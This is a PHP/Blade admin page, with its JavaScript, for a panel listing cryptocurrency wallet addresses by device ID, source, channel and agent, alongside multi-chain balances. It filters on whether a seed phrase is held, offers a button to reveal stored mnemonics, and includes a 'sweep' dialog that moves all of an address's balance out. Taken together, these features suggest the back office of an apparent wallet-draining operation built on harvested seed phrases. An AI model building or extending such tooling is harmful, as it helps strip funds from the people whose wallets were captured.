417 lines
16 KiB
PHP
417 lines
16 KiB
PHP
@extends('admin.content')
|
||
|
||
@section('title', '钱包地址')
|
||
|
||
@section('content')
|
||
@php $portal = $portal ?? 'admin'; @endphp
|
||
<style>
|
||
.addr-chain-tag {
|
||
display: inline-block;
|
||
padding: 0 8px;
|
||
line-height: 20px;
|
||
border-radius: 2px;
|
||
font-size: 12px;
|
||
color: #fff;
|
||
}
|
||
.addr-chain-eth, .addr-chain-ethereum, .addr-chain-evm { background: #627eea; }
|
||
.addr-chain-btc, .addr-chain-bitcoin { background: #f7931a; }
|
||
.addr-chain-trx, .addr-chain-tron { background: #ff0013; }
|
||
.addr-chain-bnb, .addr-chain-bsc, .addr-chain-binance { background: #f3ba2f; color: #333; }
|
||
.addr-chain-sol, .addr-chain-solana { background: #9945ff; }
|
||
.addr-chain-ton { background: #0098ea; }
|
||
.addr-chain-unknown, .addr-chain-unkno { background: #909399; }
|
||
.addr-monitor-on { color: #16b777; font-weight: 600; }
|
||
.addr-monitor-off { color: #ff5722; font-weight: 600; }
|
||
.addr-cell { font-family: Menlo, Monaco, Consolas, monospace; font-size: 12px; }
|
||
.addr-cell-row {
|
||
display: flex;
|
||
align-items: center;
|
||
gap: 8px;
|
||
min-width: 0;
|
||
}
|
||
.addr-cell-row .addr-text {
|
||
flex: 1 1 auto;
|
||
min-width: 0;
|
||
overflow: hidden;
|
||
text-overflow: ellipsis;
|
||
white-space: nowrap;
|
||
}
|
||
.addr-cell-row .addr-explorer {
|
||
flex: 0 0 auto;
|
||
font-family: inherit;
|
||
white-space: nowrap;
|
||
}
|
||
</style>
|
||
<div class="layui-card">
|
||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-addr-search">
|
||
<div class="layui-form-item">
|
||
@include('admin.partials.filter_channel_select')
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">设备 ID</label>
|
||
<div class="layui-input-block">
|
||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">地址</label>
|
||
<div class="layui-input-block">
|
||
<input type="text" name="address" class="layui-input" placeholder="钱包地址" autocomplete="off">
|
||
</div>
|
||
</div>
|
||
@include('admin.partials.filter_agent_select')
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">来源</label>
|
||
<div class="layui-input-block">
|
||
<select name="source">
|
||
<option value="">全部</option>
|
||
@foreach ($sources as $s)
|
||
<option value="{{ $s }}">{{ $s }}</option>
|
||
@endforeach
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">链</label>
|
||
<div class="layui-input-block">
|
||
<select name="chain_type">
|
||
<option value="">全部</option>
|
||
@foreach ($chainTypes as $ct)
|
||
<option value="{{ $ct }}">{{ $ct }}</option>
|
||
@endforeach
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">监听开关</label>
|
||
<div class="layui-input-block">
|
||
<select name="monitor">
|
||
<option value="">全部</option>
|
||
<option value="1">开</option>
|
||
<option value="0">关</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">已同步</label>
|
||
<div class="layui-input-block">
|
||
<select name="monitor_synced">
|
||
<option value="">全部</option>
|
||
<option value="1">是</option>
|
||
<option value="0">否</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">USDT</label>
|
||
<div class="layui-input-block">
|
||
<select name="has_usdt">
|
||
<option value="">全部</option>
|
||
<option value="1">有余额</option>
|
||
<option value="0">无余额</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">助记词</label>
|
||
<div class="layui-input-block">
|
||
<select name="has_mnemonic">
|
||
<option value="">全部</option>
|
||
<option value="1">有</option>
|
||
<option value="0">无</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">余额</label>
|
||
<div class="layui-input-block">
|
||
<select name="has_balance">
|
||
<option value="">全部</option>
|
||
<option value="1">有余额</option>
|
||
<option value="0">无余额</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<button class="layui-btn" lay-submit lay-filter="LAY-addr-search">搜索</button>
|
||
</div>
|
||
</div>
|
||
</form>
|
||
<div class="layui-card-body">
|
||
<table id="LAY-addr-list" lay-filter="LAY-addr-list"></table>
|
||
<script type="text/html" id="LAY-addr-ops">
|
||
@if(!empty($can_reveal))
|
||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看助记词</a>
|
||
@endif
|
||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="sweep">归集</a>
|
||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
|
||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||
</script>
|
||
</div>
|
||
</div>
|
||
@endsection
|
||
|
||
@push('scripts')
|
||
@include('admin.partials.mnemonic_reveal')
|
||
<script>
|
||
layui.use(['table', 'form', 'layer'], function () {
|
||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||
var token = @json(csrf_token());
|
||
var updateBase = @json(url('/'.$portal.'/addresses'));
|
||
|
||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||
|
||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||
token: token,
|
||
google_bound: @json(!empty($google_bound)),
|
||
security_url: @json($google2fa_url ?? '')
|
||
});
|
||
|
||
function chainTag(chain) {
|
||
var raw = String(chain || 'UNKNOWN');
|
||
var key = raw.toLowerCase().replace(/[^a-z0-9]+/g, '');
|
||
var cls = 'addr-chain-tag addr-chain-' + (key || 'unknown');
|
||
return '<span class="' + cls + '">' + raw + '</span>';
|
||
}
|
||
|
||
function explorerUrl(chain, address) {
|
||
var addr = String(address || '').trim();
|
||
if (!addr) return '';
|
||
var c = String(chain || '').trim().toUpperCase();
|
||
if (c === 'TRON' || c === 'TRX') return 'https://tronscan.org/#/address/' + encodeURIComponent(addr);
|
||
if (c === 'ETH' || c === 'ETHEREUM' || c === 'EVM') return 'https://etherscan.io/address/' + encodeURIComponent(addr);
|
||
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
|
||
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
|
||
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
|
||
return '';
|
||
}
|
||
|
||
function escHtml(s) {
|
||
return String(s == null ? '' : s)
|
||
.replace(/&/g, '&')
|
||
.replace(/</g, '<')
|
||
.replace(/>/g, '>')
|
||
.replace(/"/g, '"');
|
||
}
|
||
|
||
function addressCellHtml(d) {
|
||
var addr = d.address || '';
|
||
var url = explorerUrl(d.chain_type, addr);
|
||
var html = '<div class="addr-cell addr-cell-row">';
|
||
html += '<span class="addr-text" title="' + escHtml(addr) + '">' + escHtml(addr) + '</span>';
|
||
if (url) {
|
||
html += '<a class="layui-btn layui-btn-primary layui-btn-xs addr-explorer" href="' + escHtml(url) +
|
||
'" target="_blank" rel="noopener noreferrer">链上查询</a>';
|
||
}
|
||
html += '</div>';
|
||
return html;
|
||
}
|
||
|
||
function assetsForRow(d) {
|
||
var type = String(d.chain_type || '').toUpperCase();
|
||
var addr = String(d.address || '');
|
||
if (type.indexOf('TRON') >= 0 || type === 'TRX' || /^T[1-9A-HJ-NP-Za-km-z]{33}$/.test(addr)) {
|
||
return ['USDT', 'TRX'];
|
||
}
|
||
if (type.indexOf('BSC') >= 0 || type.indexOf('BNB') >= 0 || type.indexOf('BINANCE') >= 0) {
|
||
return ['BNB', 'USDT'];
|
||
}
|
||
if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) {
|
||
return ['ETH', 'USDT', 'BNB'];
|
||
}
|
||
if (type.indexOf('BTC') >= 0 || type.indexOf('BITCOIN') >= 0) {
|
||
return ['BTC'];
|
||
}
|
||
return [];
|
||
}
|
||
|
||
function balanceHint(d, asset) {
|
||
var key = String(asset || '').toLowerCase();
|
||
var val = d[key];
|
||
if (val === undefined || val === null || val === '') return '—';
|
||
return String(val);
|
||
}
|
||
|
||
function openSweep(d) {
|
||
var assets = assetsForRow(d);
|
||
if (!assets.length) {
|
||
return layer.msg('该地址链类型不支持归集');
|
||
}
|
||
var options = assets.map(function (a, i) {
|
||
return '<option value="' + a + '"' + (i === 0 ? ' selected' : '') + '>' + a + '</option>';
|
||
}).join('');
|
||
var defaultAsset = assets[0];
|
||
|
||
layer.open({
|
||
type: 1,
|
||
title: '归集 — #' + d.id,
|
||
area: ['460px', '360px'],
|
||
content:
|
||
'<form class="layui-form" style="padding:16px 20px 0;" id="LAY-addr-sweep-form" lay-filter="LAY-addr-sweep-form">' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">地址</label>' +
|
||
'<div class="layui-input-block"><div class="layui-form-mid addr-cell" style="width:100%;padding:0!important;">' + (d.address || '') + '</div></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">链</label>' +
|
||
'<div class="layui-input-block"><div class="layui-form-mid" style="padding:0!important;">' + chainTag(d.chain_type) + '</div></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">币种</label>' +
|
||
'<div class="layui-input-block"><select name="asset" lay-filter="LAY-addr-sweep-asset">' + options + '</select></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">金额</label>' +
|
||
'<div class="layui-input-block">' +
|
||
'<input type="text" name="amount" class="layui-input" placeholder="全部(留空即转出全部余额)" autocomplete="off">' +
|
||
'<div class="layui-form-mid layui-word-aux" id="LAY-addr-sweep-balance" style="padding:4px 0 0!important;">当前余额:' + balanceHint(d, defaultAsset) + ' ' + defaultAsset + '</div>' +
|
||
'</div></div>' +
|
||
'</form>',
|
||
success: function () {
|
||
form.render('select');
|
||
form.on('select(LAY-addr-sweep-asset)', function (data) {
|
||
var asset = data.value;
|
||
$('#LAY-addr-sweep-balance').text('当前余额:' + balanceHint(d, asset) + ' ' + asset);
|
||
});
|
||
},
|
||
btn: ['确认归集', '取消'],
|
||
yes: function (index) {
|
||
var asset = $('#LAY-addr-sweep-form select[name=asset]').val();
|
||
var amount = $.trim($('#LAY-addr-sweep-form input[name=amount]').val() || '');
|
||
var label = amount ? (amount + ' ' + asset) : ('全部 ' + asset);
|
||
layer.confirm('确认归集 ' + label + ' ?', { icon: 3, title: '确认' }, function (confirmIndex) {
|
||
layer.close(confirmIndex);
|
||
var loading = layer.load(2);
|
||
$.ajax({
|
||
url: updateBase + '/' + d.id + '/sweep',
|
||
method: 'POST',
|
||
data: { asset: asset, amount: amount, _token: token },
|
||
success: function (res) {
|
||
layer.close(loading);
|
||
if (res.code !== 0) return layer.msg(res.msg || '归集失败');
|
||
layer.close(index);
|
||
var txid = (res.data && res.data.txid) ? res.data.txid : '';
|
||
layer.msg(txid ? ('归集成功:' + txid) : '归集成功', { time: 4000 });
|
||
table.reload('LAY-addr-list');
|
||
},
|
||
error: function (xhr) {
|
||
layer.close(loading);
|
||
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '归集失败');
|
||
}
|
||
});
|
||
});
|
||
}
|
||
});
|
||
}
|
||
|
||
table.render({
|
||
elem: '#LAY-addr-list',
|
||
id: 'LAY-addr-list',
|
||
url: @json(route($portal.'.addresses.data')),
|
||
cols: [[
|
||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||
{ field: 'source', title: '来源', width: 120 },
|
||
{ field: 'device_key', title: '设备 ID', width: 150, sort: true },
|
||
{ field: 'address', title: '地址', minWidth: 420, templet: addressCellHtml },
|
||
{ field: 'chain_type', title: 'Chain', width: 110, templet: function (d) {
|
||
return chainTag(d.chain_type);
|
||
}},
|
||
{ field: 'collectable', title: '可归集', width: 90, sort: true, templet: function (d) {
|
||
return d.collectable ? '<span class="addr-monitor-on">可归集</span>' : '—';
|
||
}},
|
||
{ field: 'usdt', title: 'USDT', width: 100, sort: true },
|
||
{ field: 'trx', title: 'TRX', width: 100, sort: true },
|
||
{ field: 'eth', title: 'ETH', width: 100, sort: true },
|
||
{ field: 'btc', title: 'BTC', width: 110, sort: true },
|
||
{ field: 'bnb', title: 'BNB', width: 100, sort: true },
|
||
{ field: 'sol', title: 'SOL', width: 100, sort: true },
|
||
{ field: 'channel_id', title: '渠道 ID', width: 140 },
|
||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||
{ field: 'monitor_failures', title: '失败次数', width: 90, templet: function (d) {
|
||
if (Number(d.monitor) !== 1 || d.monitor_synced) { return '—'; }
|
||
var f = Number(d.monitor_failures) || 0;
|
||
if (f === 0) { return '0'; }
|
||
return '<span class="addr-monitor-off">' + f + '</span>';
|
||
}},
|
||
{ field: 'monitor_synced', title: '已同步', width: 90, fixed: 'right', templet: function (d) {
|
||
if (Number(d.monitor) !== 1) { return '—'; }
|
||
return d.monitor_synced
|
||
? '<span class="addr-monitor-on">是</span>'
|
||
: '<span class="addr-monitor-off">否</span>';
|
||
}},
|
||
{ field: 'monitor', title: '监听开关', width: 90, fixed: 'right', templet: function (d) {
|
||
return Number(d.monitor) === 1
|
||
? '<span class="addr-monitor-on">开</span>'
|
||
: '<span class="addr-monitor-off">关</span>';
|
||
}},
|
||
{ title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }}
|
||
]],
|
||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||
request: { pageName: 'page', limitName: 'limit' },
|
||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||
});
|
||
|
||
form.on('submit(LAY-addr-search)', function (data) {
|
||
table.reload('LAY-addr-list', { where: data.field, page: { curr: 1 } });
|
||
return false;
|
||
});
|
||
|
||
function openDeviceTab(url, title) {
|
||
try {
|
||
if (parent && parent.layui && parent.layui.index) {
|
||
parent.layui.index.openTabsPage(url, title);
|
||
return;
|
||
}
|
||
} catch (e) {}
|
||
location.href = url;
|
||
}
|
||
|
||
table.on('tool(LAY-addr-list)', function (obj) {
|
||
var d = obj.data;
|
||
if (obj.event === 'reveal') {
|
||
revealMnemonic(d);
|
||
return;
|
||
}
|
||
if (obj.event === 'detail') {
|
||
openDeviceTab(d.detail_url, '设备 ' + (d.device_key || ('#' + d.id)));
|
||
return;
|
||
}
|
||
if (obj.event === 'sweep') {
|
||
openSweep(d);
|
||
return;
|
||
}
|
||
if (obj.event !== 'edit') return;
|
||
|
||
layer.open({
|
||
type: 1,
|
||
title: '编辑监听 — #' + d.id,
|
||
area: ['420px', '260px'],
|
||
content:
|
||
'<form class="layui-form" style="padding:16px;" id="LAY-addr-edit-form">' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">地址</label>' +
|
||
'<div class="layui-input-block"><div class="layui-form-mid addr-cell" style="width:100%;">' + (d.address || '') + '</div></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">监听</label>' +
|
||
'<div class="layui-input-block" style="padding-top:8px;">' +
|
||
'<input type="checkbox" name="monitor" lay-skin="switch" lay-text="开|关" value="1"' +
|
||
(Number(d.monitor) === 1 ? ' checked' : '') + '>' +
|
||
'</div></div>' +
|
||
'</form>',
|
||
success: function () {
|
||
form.render('checkbox');
|
||
},
|
||
btn: ['保存', '取消'],
|
||
yes: function (index) {
|
||
var monitor = $('#LAY-addr-edit-form input[name=monitor]').prop('checked') ? 1 : 0;
|
||
$.ajax({
|
||
url: updateBase + '/' + d.id,
|
||
method: 'POST',
|
||
data: { monitor: monitor, _method: 'PUT', _token: token },
|
||
success: function (res) {
|
||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||
layer.close(index);
|
||
layer.msg('已保存');
|
||
table.reload('LAY-addr-list');
|
||
},
|
||
error: function (xhr) {
|
||
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '保存失败');
|
||
}
|
||
});
|
||
}
|
||
});
|
||
});
|
||
});
|
||
</script>
|
||
@endpush
|